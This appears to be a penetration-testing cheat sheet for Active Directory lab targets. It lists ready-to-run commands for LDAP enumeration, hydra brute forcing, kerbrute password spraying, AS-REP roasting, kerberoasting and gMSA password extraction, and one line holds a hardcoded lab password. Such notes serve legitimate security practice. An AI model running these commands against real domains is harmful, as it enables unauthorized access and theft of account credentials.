08TCP
LDAP
LDAP typically uses port 389 for unencrypted communication and port 636 for encrypted connections (LDAPS). While 389 is the default for unencrypted LDAP, 636 is the standard for LDAP over SSL/TLS.
- GUI jxplorer
bash2 lines
## ------------------| Brute Force hydra -l UserName -P Passwordlist <IP> ldap2 -V -f01 ldapsearch
bash47 lines
# -x Simple Authentication# -D UserName# -w Password# -b Base site
## ------------------| Simple Authldapsearch -x -H ldap://<IP>
## ------------------| Get LDAP Naming Context (DN)ldapsearch -x -s base namingcontexts -H ldap://<IP>
## ------------------| Enumldapsearch -x -b "DC=<SUBDOMAIN>,DC=<TDL>" -H ldap://<IP>ldapsearch -x -b "DC=<SUBDOMAIN>,DC=<TDL>" -H ldap://<IP> -D '<DOMAIN>\<USER>' -w 'PassWord'ldapsearch -x -b "DC=<SUBDOMAIN>,DC=<TDL>" -H ldap://<IP> -D '<DOMAIN>\ldap' -w 'PassWord'
## ------------------| Queriesldapsearch -x -H ldap://<IP> -b "DC=htb,DC=local" '(objectClass=Person)'ldapsearch -x -H ldap://<IP> -b "DC=htb,DC=local" '(objectClass=User)' sAMAccountName | grep sAMAccountName
## ------------------| Grep only domain adminsldapsearch -x -H ldap://<IP> -b "DC=HTB,DC=LOCAL" -D '<DOMAIN>\<USER>' -w 'Ashare1972' "(&(ObjectClass=user)(memberOf=CN=Domain Admins,CN=Users,DC=htb,DC=local))" | grep sAMAccountName
## ------------------| Extract usersldapsearch -x -b "DC=HTB,DC=LOCAL" "*" -H ldap://<IP> | grep dn | awk -F\, '{print $1}' | awk -F\= '{print $2}'-b "CN=Users,DC=<SUBDOMAIN>,DC=<TDL>"
## ------------------| Extract computers-b "CN=Computers,DC=<SUBDOMAIN>,DC=<TDL>"
## ------------------| Extract self info -b "CN=<MY NAME>,CN=Users,DC=<SUBDOMAIN>,DC=<TDL>"
## ------------------| Extract Domain Admins-b "CN=Domain Admins,CN=Users,DC=<SUBDOMAIN>,DC=<TDL>"
## ------------------| Extract Domain Users-b "CN=Domain Users,CN=Users,DC=<SUBDOMAIN>,DC=<TDL>"
## ------------------| Extract Enterprise Admins-b "CN=Enterprise Admins,CN=Users,DC=<SUBDOMAIN>,DC=<TDL>"
## ------------------| Extract Administrators-b "CN=Administrators,CN=Builtin,DC=<SUBDOMAIN>,DC=<TDL>"
## ------------------| Extract Remote Desktop Group-b "CN=Remote Desktop Users,CN=Builtin,DC=<SUBDOMAIN>,DC=<TDL>"02 WindapSearch
bash2 lines
## This tool is used to enumerating the domain via LDAP anonymous bind/opt/windapsearch/windapsearch-linux-amd64 -d <IP> -m users --proxy 127.0.0.1:108003 Kerbrute
bash10 lines
## ------------------| User Enumarationskerbrute userenum /usr/share/seclists/Usernames/Names/names.txt -d <DOMAIN> --dc <IP>kerbrute userenum /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -d <DOMAIN> --dc <IP>
## ------------------| Password Spraykerbrute passwordspray usernames.txt -d <DOMAIN> --dc <IP> 'password'
## ------------------| AS-REP Roastingkerbrute userenum /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt --downgrade -d <DOMAIN> --dc <IP> > hashes.out04 NetExec
bash68 lines
## ------------------| If an account exists without kerberos protocolnxc ldap <IP> -u users.txt -p '' -k
## ------------------| Perform ASREPRoasting Attacksudo timedatectl set-timezone UTCsudo systemctl stop systemd-timesyncdsudo ntpdate 'domain'nxc ldap <IP> -u 'username' -p '' --asreproast asreproast.txt
## ------------------| Performsudo timedatectl set-timezone UTCsudo systemctl stop systemd-timesyncdsudo ntpdate 'domain'nxc ldap <IP> -u 'username' -p 'password' --kerberoasting kerberoasting.txt
## ------------------| List available modulesnxc ldap <IP> -u 'username' -p 'password' -Lnxc ldap <IP> -u 'username' -p 'password' -M <moduleName> --options
## ------------------| Enumerate password policy.nxc smb 10.10.10.161 --pass-polnxc smb 10.10.10.161 --pass-pol -u '' -p ''
## ------------------| Extract Self Informationnxc ldap <IP> -u 'username' -p 'password' -M whoami
## ------------------| Extract Group Managed Service Account (gMSA) Passwordsnxc ldap <IP> -u 'username' -p 'password' --gmsa
## ------------------| Enumerate Users Trusted for Delegationnxc ldap <IP> -u 'username' -p 'password' --trusted-for-delegation
## ------------------| Enumerate Users Without Passwordsnxc ldap <IP> -u 'username' -p 'password' --password-not-required
## ------------------| Enumerate Accounts with Admin Countnxc ldap <IP> -u 'username' -p 'password' --admin-count
## ------------------| Enumerate Subnetsnxc ldap <IP> -u 'username' -p 'password' -M subnets
## ------------------| Enumerate Domain Trustsnxc ldap <IP> -u 'username' -p 'password' -M enum_trusts
## ------------------| Check LDAP Signing Requirementsnxc ldap <IP> -u 'username' -p 'password' -M ldap-checker
## ------------------| Run BloodHoundnxc ldap <IP> -u 'username' -p 'password' --bloodhound --collection All --dns-server '<DNS_SERVER_IP>'
## ------------------| Enumerate All Usersnxc ldap <IP> -u 'username' -p 'password' --users
## ------------------| Enumerate Active Usersnxc ldap <IP> -u 'username' -p 'password' --active-users
## ------------------| Enumerate Computersnxc ldap <IP> -u 'username' -p 'password' -M find-computer -o TEXT="SQL"
## ------------------| Enumerate Domainnxc ldap <IP> -u 'username' -p 'password' -M group-mem -o GROUP='Domain Admins'nxc ldap <IP> -u 'username' -p 'password' -M group-mem -o GROUP='Domain Users' ## Enumerate Domain Usersnxc ldap <IP> -u 'username' -p 'password' -M group-mem -o GROUP='Administrators' ## Enumerate Administratorsnxc ldap <IP> -u 'username' -p 'password' -M group-mem -o GROUP='Enterprise Admins' ## Enumerate Enterprise Adminsnxc ldap <IP> -u 'username' -p 'password' -M group-mem -o GROUP='Remote Desktop Users' ## Enumerate Remote Desktop Users
## ------------------| Enumerate Group Membershipsnxc ldap <IP> -u 'username' -p 'password' -M groupmembership -o USER='<TARGET_USER>'05 LDAPDomainDump
bash5 lines
## ------------------| Only Json outputldapdomaindump --no-grep --no-html -o ldapinfo <IP> -u <DOMAIN>\\<USER> -p <PASS>
## ------------------| Only HTML outputldapdomaindump --no-json --no-grep -o ldapinfo <IP> -u <DOMAIN>\\<USER> -p <PASS>